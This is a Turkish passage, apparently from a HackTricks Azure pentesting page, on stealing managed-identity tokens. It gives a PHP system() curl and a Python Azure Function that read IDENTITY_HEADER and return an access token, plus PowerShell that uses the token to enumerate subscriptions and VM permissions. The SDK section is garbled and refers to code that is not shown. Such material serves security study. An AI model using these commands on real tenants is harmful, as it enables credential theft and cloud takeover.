IDENTITY_HEADER ve IDENTITY_ENDPOINT üzerinden access_token alın: system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');.
Ardından Azure REST API'sini sorgulayarak abonelik ID'si ve daha fazlasını alın.
$Token ='eyJ0eX..'$URI ='https://management.azure.com/subscriptions?api-version=2020-01-01'# $URI = 'https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# List resources and check for runCommand privileges$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
Azure API Python Sürümü
Bu bölümde, Azure API'lerine Python kullanarak nasıl erişileceğini öğreneceksiniz. Azure API'lerini kullanarak Azure hizmetlerine programatik olarak erişebilir ve yönetebilirsiniz.
Azure API'lerine erişmek için Azure SDK'sını kullanabilirsiniz. Azure SDK'sı, Azure hizmetlerine erişmek için kullanılan Python kütüphanelerini içerir. Azure SDK'sını yüklemek için aşağıdaki adımları izleyin:
Azure SDK'yı yüklemek için aşağıdaki komutu çalıştırın:
pipinstallazure
Azure SDK'yı projenize dahil etmek için aşağıdaki kodu kullanın:
Yukarıdaki kod örneğinde, Azure kimlik bilgilerinizi ve abonelik kimliğinizi belirtmeniz gerekmektedir. Bu bilgileri Azure Portal'dan veya Azure CLI aracılığıyla alabilirsiniz.
Azure API'lerine Python kullanarak erişmek için bu örnek kodu kullanabilirsiniz. Bu örnek, Azure kaynak yönetimi API'sine erişmek için kullanılan bir istemci oluşturur.
import logging, osimport azure.functions as funcdefmain(req: func.HttpRequest) -> func.HttpResponse:logging.info('Python HTTP trigger function processed a request.')IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']IDENTITY_HEADER = os.environ['IDENTITY_HEADER']cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()return func.HttpResponse(val, status_code=200)
Hizmet Listesi
Bu bölümün sayfaları Azure hizmetine göre sıralanmıştır. Burada her hizmet hakkında bilgi bulabilirsiniz (nasıl çalıştığı ve yetenekleri) ve ayrıca her hizmetin nasıl numaralandırılacağını öğrenebilirsiniz.
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
HackTricks'i desteklemenin diğer yolları:
Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istersenizABONELİK PLANLARI'na göz atın!